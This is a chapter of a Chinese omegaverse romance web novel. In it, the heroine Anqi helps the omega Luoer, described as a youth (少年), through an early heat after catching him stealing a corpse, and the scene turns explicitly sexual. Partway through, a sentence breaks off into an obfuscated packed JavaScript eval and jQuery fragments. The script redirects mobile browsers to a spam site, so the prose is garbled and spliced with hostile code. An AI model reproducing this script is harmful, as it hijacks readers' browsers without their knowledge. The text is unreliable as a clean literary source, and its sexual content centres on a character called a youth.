“砰。”
黑色的袋子落在地上,一缕黑发从袋口漏出来,刚巧搭在安启脚边。安启低头瞄了眼:白皙的颈子,深深的牙印……
安启倒抽一口凉气,迅速改口。
“那什么,我想问……有夜宵么,甜品之类的,我一天没吃饭——”了。
薄薄的刀片斜压在安启的喉咙上,寒光闪闪,映出一双幽绿的眼瞳。
“你为什么会在这里?”
安启强忍住吞口水的欲望,生怕一个不小心,咕噜一下,自我了断了。
“那位棕色头发的管家带我来的。”
“说谎!林恩怎么敢——”
少年说着突然停下,眉梢扬起,嘴角翘了翘。
“也说不准,谁叫你脚那么欠。”
在众人抛洒花瓣的时候,往逝者脸上踢土,亏得她想得出来。
不过,正合了他的意。气味都被洗去,才方便他偷尸体。
刀片下压的力道松了些,安启悄悄把快积满的口水咽下去。
“那个,我看你处理一具尸体就挺困难的了,要不,咱就别再另添负担了?”
安启小心翼翼地试探。
将汗透的发丝向耳后捋了捋,眉眼昳丽不失锋锐的少年人轻哼了声。
“我要想杀你,根本不会给你开口的机会。”
一个舔狗alpha,真当自己是个人物了。杀了都嫌溅出来的血脏。
“是是,您只是吓唬我一下。要帮忙吗?”
既然不想杀她,刀抓稳点啊谢谢了,她明显感觉到脖子已经磨破,汤圆和糯米都开始不安地踱步了。
“啧。”
少年把刀片收回腰间,一把撩开覆住后颈的发尾,转向安启。
“搞快点。”
安启飞速错开眼,依旧没能躲掉那抹惹人遐思的粉。
“我的意思是,帮你搬尸体。”
年轻Omega转过脸,不耐烦地挑眉。
“我有狗,要你搬?你个alpha,作用也就限于临时标记。”
沦为工具alpha的安启舔了舔虎牙,对不起,她没有那功能。
“口水都快滴下来了,还装模作样。”
别以为他没看见,之前就悄悄盯着他的脸吞口水,现在又……瞟了眼安启,蛮横嚣张的Omega再次转过身去。
“快点,只许咬不许舔,更不许亲!”
又炸毛了。
安启伸手顺了顺少年柔亮的发丝,轻轻盖住泛红的腺体,引得他又瞪了她一眼。
她的死亡似乎没给洛尔造成伤害,真好。只不过这半夜偷尸体,还有那牙印……
不,洛尔他决不是那样的人。
“你的抑制剂呢?”
“唧唧歪歪,磨磨蹭蹭的,你还是不是个alpha!”
洛尔愤愤回头,波荡的翠眸对上沉稳温柔的褐瞳。
“不是。”
安启老老实实回答,她从没说过自己是alpha吧。
“!?”
贴脸开大,嘲讽拉满的洛尔哽住了。这alpha怎么不按常理出牌。
“你的抑制剂呢?”
“抑制剂抑制剂!要不是掉了我会求你?”
该死的,也不知道是掉在了坑边还是路上,最好是踩进土里了。
“咳。”
安启压了压嘴角,每句话都带着火药味,还说是在求人。
见安启确定没有帮忙的意思,洛尔剜了她一眼,转身往后门方向走。他难不成去找葛兰借?
不!必不可能!
悄悄回头瞄了眼,那个冷心冷肺竟然拒绝了他的alpha——眸光柔和,满眼关切。
嘁。
洛尔脚步一顿。
他就说吧,没人能拒绝他。少年转身一个箭步冲过去,跳到安启身上,张嘴咬向她的后颈。他就不信了,有alpha能受得了这种刺激。
整整齐齐的一小排牙印烙在了安启的手背上。
洛尔叼着硌牙的指节磨了磨,气得眼尾都红了。这什么人啊,这么难搞。
“忍一忍,热潮很快就会退的。你真打算让我一个陌生的,不知根底的alpha给你标记?”
虽然她不是陌生人,但她也不是alpha啊。
“信息素影响的是我的身体,又不是我的脑子,我不是才考验过你的人品?”
“哼,Alpha,就只会练肌肉,胸大无脑,肤浅,当我是你?”
有色心,没胆气的笨蛋。
洛尔意有所指地戳了戳安启的胸口。
咦?
这个惫懒的alpha,肌肉也不好好练,软绵绵的。
捏捏。
安启眼皮乱跳,她这是造了什么孽了。
“再捏咬你了。”
少年更进一步地枕在了安启的肩上,得意地歪头睨她,碧眸亮晶晶的,透着一丝狡黠,仿佛在说,有本事你就来!
安启差点让他气笑了,无奈地托住少年的腰打算把人放下来,却摸了一手水。
“你!”
“都快脱水了你怎么不说?”
不愧是S级,这么能忍。
“哈?我都快主动把你压床上了,你问我怎么不早说?我该怎么说?”
少年纤长的四肢缠住安启的背脊腰腹,红唇贴着她的耳畔摩挲。
“这位姐姐,我该怎么说呢,你教教我……”
安启无话可说。
她一直以为洛尔在捉弄她,就像塞缪尔吩咐林恩把她安排在西侧小楼一样,是在报复她破坏了安吉尔的葬礼,结果竟然真的是发.情期提前。
不能再耗下去了,安启叹了口气,托着少年的腿弯把人带进了卧室。
狗窝只是个戏称。从前汤圆糯米还小时,活泼又黏人,她偶尔也会过来睡,南向落地窗的这间卧室虽然被缠绕的藤蔓衬得阴森了点,但该有的设施一应俱全。
凉凉的巾帕擦过洛尔的脖颈和胸前,惹得少年颤了颤,一脚踹在了安启的小腿上。
“咬一下就能解决的事,你非要把我弄病?”
顺手抓住作乱的脚,安启身心俱疲地瞥了眼躺在门外的尸体。真的,她现在特别希望躺在那的是她本体。
“您可是顶级Omega,不该被信息素控制,忍一忍,我去主楼给你拿抑制剂。”
“忍你个头啊,能快速解决,我为什么要让自己的身体受苦?”
洛尔的视线顺着安启的目光望向门外,眉头瞬间皱成一团。
“难道你认为我该为安吉尔守贞?”
洛尔活像是听见了什么恐怖故事似的瞪大了眼睛。
“你是什么老古董吗?别说我只是她的婚约者之一,就算真成了伴侣,她死了,难不成我发.情期要熬着?”
“我没有那个意思。”
“呵。”
碧眸明晃晃写着两个大字:不、信!
洛尔认定的事情,她真是有几张嘴都说不清。
安启心下哀叹,手却自然而然环住洛尔的肩,把人拢在怀里。小心拨开少年汗透的发尾,将温热的毛巾轻轻盖在了发烫的腺体上。
这个怂狗!
洛尔气急,正打算挣扎。柔软的唇舌取代了粗粝的毛巾。
Omega的肩背骤然绷紧。
“唔!”
突来的酸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544383|171147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胀麻痒令小猫一样精力旺盛的少年迅速酥软了身体。
细密的刺痒顺着后颈渗入四肢百骸。但高傲自由的灵魂哪允许自己的身体不受控制。洛尔努力睁大眼睛,尖锐的虎牙咬在安启紧实的小臂上,把快抑制不住呻吟压回喉咙里。
哼,还知道练手臂,不好好练练胸肌。
蹭蹭。
正小心控制力度以免伤了人,反被调戏的安启:
“……”
坏Omega,嘬一口。
细微的水声响起,轻微的压力将敏感的腺体推入高热的口腔。美味入口,尖锐的犬齿没忍住试探性地咬了咬。
“唔!呜呜!”
洛尔身体剧颤,不可置信地扭头看向安启,眼尾悬着欲落不落的水珠。
“欺负Omega,你还是不是个alpha!”
“咬也不是,不咬也不是,对啊,我就不是个alpha,选错人的感觉怎么样?”
安启勾着唇,眼神戏谑,手里动作却没停,把少年紧绷的身体一寸一寸揉捻开。
洛尔咬着牙横了安启一眼,仰头瘫在她的臂弯里缓了缓神,慢慢绽开一个绮丽的笑容。
美色惑人,安启眼神荡了下,一个没留意,被脱离了掌控的洛尔狠狠一口,咬在了下巴上。
“没脸没皮!看着就来气!”
只一个简单的动作迅速耗尽了全身力气,Omega少年重新瘫倒,转头脸埋在安启怀里细细喘着,随即察觉到了什么似的屏住呼吸,高傲地哼了声。
“给我点信息素。”
他要化掉了。
“没有那东西。”
安启挂着汗珠的鼻尖蹭了蹭少年红肿的后颈,再度张口、叼住,像大猫叼住了一只自己送上门的猎物。
猎物狼狈的蓄力,想要翻滚,想要逃离,却被大猫一口利齿磋磨安抚,反反复复,最终化作了一汪春水。
————
细密的汗珠顺着额头脸颊滴落,沿着锁骨洇入衣衫,勾勒出紧绷的腹肌和流畅的腰线。
洛尔眼神迷离,不自觉地抚了上去。
环着他的手臂轻颤。咖啡的醇苦与柚子的清香勾连缠绕,钻进鼻尖。
哼,还装!
如果不是怜惜,怎么会有alpha这么能忍?
我抓住你了,安吉尔。
omega软软的脸颊在安启潮湿的掌心蹭了蹭。
虽然不知道她怎么变成了alpha,还活着就好。
————
“快点!搭把手。”
“少爷,您不是有狗。我一个解乏工具而已,体力都被您耗尽了,哪还有力气。”
安启懒洋洋地倚着门框,由着恢复精力的Omega前前后后的折腾。
“小心眼。”
洛尔咕哝着,明亮湿润的绿眸瞄了瞄神色恹恹的alpha,什么嘛,好像被他榨干了似的。
“废物。”
“哈?”
不知是谁不知疲倦地渴求,真碰一下又难受地乱扑腾,跟沸腾鱼似的,差点没把她折腾死。
别说她根本不是alpha,就是s级的alpha来了,遇见洛尔这种高敏型的omega,也得跪地痛哭,祈求自己下辈子做beta都别遇见他。
这意味不明的一句,成功把没完全消火的Omega点炸了。
“你那是什么眼神?废物,但凡遇见的不是我,是葛兰呢,看不把你榨成干尸才怪。”
提到葛兰,两人对视一眼,同时打了个哆嗦。恰好一阵微风拂过。辛辣呛口,割喉般的信息素飘进鼻腔。
啧,都说夜半不谈鬼,这下好了,鬼来敲门了。